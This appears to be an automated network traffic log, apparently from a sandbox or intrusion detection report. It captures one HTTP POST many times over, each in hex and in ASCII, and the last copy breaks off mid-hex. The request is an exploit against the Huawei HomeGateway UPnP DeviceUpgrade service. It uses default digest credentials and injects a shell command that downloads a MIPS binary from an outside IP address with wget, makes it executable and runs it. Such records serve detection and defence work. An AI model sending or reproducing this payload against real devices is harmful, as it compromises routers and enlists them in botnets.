Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 